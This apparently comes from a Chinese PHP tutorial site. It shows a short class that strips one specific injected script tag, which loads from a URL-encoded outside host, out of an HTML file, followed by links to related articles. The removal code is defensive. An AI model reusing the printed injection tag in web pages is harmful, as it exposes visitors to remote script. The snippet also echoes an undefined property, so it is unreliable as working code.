php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

PHP5中使用DOM控制XML实现代码

下面的例子简单的演示了DOM对XML的操作,详细解释请看代码中的注释 复制代码 代码如下: <? /****************************************...

session在PHP大型web应用中的使用

这时,函数bool session_set_save_handler ( callback open, callback close, callback read, callback w...

ThinkPHP模板标签eq if 中区分0,null,false的方法

在做项目的时候发现在ThinkPHP的模板标签eq中,对于0、null、false的判断是一样的,也就是说如果变量是这三个值的话就无法区分了,搞的我很郁闷,翻了下官方手册没找到,想想不应...

NOD32 v2.70.32 简体中文封装版 提供下载了

软件大小  11.8 MB   软件类别  汉化软件/病毒防治 运行环境 Win2003, WinXp, Win2000, Nt, WinMe,...

php实现给二维数组中所有一维数组添加值的方法

本文实例讲述了php实现给二维数组中所有一维数组添加值的方法。分享给大家供大家参考,具体如下: 给二维数组中所有的一维数组添加值(索引和关联) $shop = array( 0=...